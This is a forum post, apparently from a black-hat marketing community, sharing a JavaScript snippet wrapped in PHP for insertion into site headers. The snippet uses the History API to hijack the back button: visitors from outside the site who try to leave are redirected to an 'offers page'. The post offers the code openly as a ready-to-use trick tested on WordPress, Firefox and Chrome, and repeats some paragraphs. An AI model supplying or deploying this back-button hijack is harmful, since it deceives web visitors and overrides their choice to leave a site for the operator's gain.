Repulsor
Senior Member
- Jun 11, 2013
- 904
- 357
Hey,
Was just having some free time, so thought I would make something that may benefit the community.
So, I tinkered this nice little script which works this way
There will be half a second pause, but thats not really noticeable I guess.
You can either wrap it into a js file and insert it to your site headers, or use the code as is.
Most of the code belongs to : http://www.thecssninja.com/javascript/stealing-history-api
I just tinkered it to work this way
Was just having some free time, so thought I would make something that may benefit the community.
So, I tinkered this nice little script which works this way
- You can browse all your page as usual. All pages will work just fine. This is called only when hitting back button is going to take you out of our site.
- This little javascript will redirect all your users who are exiting your site using back button.
- Redirects only if you are going out of your site. (When the HTTP_REFERRER is not your site.)
- Works on direct visits as well. You visit you site, hit the back button, boom, take them to offers page!
- Tested in Wordpress. Just include it in your header file, top.
- Tested on both Firefox and Chrome
There will be half a second pause, but thats not really noticeable I guess.
You can either wrap it into a js file and insert it to your site headers, or use the code as is.
Code:
<?php
$javascript = <<<DOC
<script>
var ref = document.referrer;
var siteurl = "YOUR URL HERE";//if you have www, then use www. http://www.yoursite.com
if (ref.indexOf(siteurl)!= -1){
}
else{
(function(window, location) {
history.replaceState(null, document.title, location.pathname+"#!/auth");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate", function() {
if(location.hash === "#!/auth") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function(){
location.replace("http://www.blackhatworld.com/");
},0);
}
}, false);
}(window, location));
}
</script>
DOC;
echo $javascript;
?>
Most of the code belongs to : http://www.thecssninja.com/javascript/stealing-history-api
I just tinkered it to work this way